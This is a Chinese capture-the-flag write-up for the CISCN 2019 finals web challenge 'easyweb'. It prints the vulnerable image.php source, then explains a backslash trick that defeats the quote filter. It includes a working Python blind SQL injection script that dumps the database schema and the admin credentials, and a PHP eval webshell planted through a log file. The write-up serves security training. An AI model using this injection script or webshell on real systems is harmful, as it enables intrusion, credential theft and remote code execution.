前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ciscn2019总决赛day2web1-easyweb题解

ciscn2019总决赛day2web1-easyweb题解

作者头像
KevinBruce
发布2020-04-08 17:47:02
1K0
发布2020-04-08 17:47:02
举报
文章被收录于专栏:CTF及算法学习CTF及算法学习

题目首页是一个登录页面,尝试注入失败。抓包过程中发现了image和user两个PHP文件,image可以传id参数,但只有id为1、2和3时能显示图片,其他情况为空页面。

实在找不到可用信息以及hint,想到查看robots.txt文件,发现真的有。

代码语言:javascript
复制
User-agent: *
Disallow: *.php.bak

于是发现了image.php.bak。

代码语言:javascript
复制
<?php
include 'config.php';
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

?>

可以发现image可以传递id和path两个参数,并可能触发SQL注入,前提是可以绕过对id和path的过滤。

接下来想办法绕过过滤,主要是破坏单引号,重点借助以下四行代码。

代码语言:javascript
复制
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

如何根据这几行代码破坏单引号呢,只能是用转义字符\或者单引号自己来破坏。但是用单引号一定会被替换掉,只能考虑\。

对于1,2两行代码,如果参数中有斜杠或者单引号会被在加上一个斜杠来转义。因此如果令id为\0,id会先变成\\0。之后\0被替换掉,会剩下一个\,这样的话原SQL语句的结构就会变为:

代码语言:javascript
复制
select * from images where id='x'{$path}'

其中x是一个字符串了,x为:

代码语言:javascript
复制
\' or path=

接下来借助path的值可以进行SQL注入。

我在这里写了个脚本,需要注意的就是URL传递\0的时候在字符串中多加个\。此外由于单引号不能绕过,所以用到字符串比较的时候可以借助十六进制串来表示。

代码语言:javascript
复制
import requests
import time
#url是随时更新的,具体的以做题时候的为准
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 30
    for l in range(1,length+1):
    #从可打印字符开始
        begin = 32
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            if r.content!=b'':
                begin = tmp+1
                tmp = (begin+ends)//2 
            else:
                ends = tmp
                tmp = (begin+ends)//2
        #酌情删除,毕竟一般库表列里都没有空格
        if tmp==32:
            break
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',exp(url))
#database 得到了是ciscnfinal,接下来用其16进制表示
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))

于是得到了admin的用户名和密码。

在首页进行登录,进入一个上传页面。

抓包的时候有提示说用户名写进了log.php,既然是写入PHP,我们就想到写入一个PHP木马。

代码语言:javascript
复制
<?php eval($_POST[a]);?>

但是提示不可以,不过将php标签中的php三个字符换成等号也是等价的。

用蚁剑或菜刀等工具连接即可得到flag。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-04-04 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档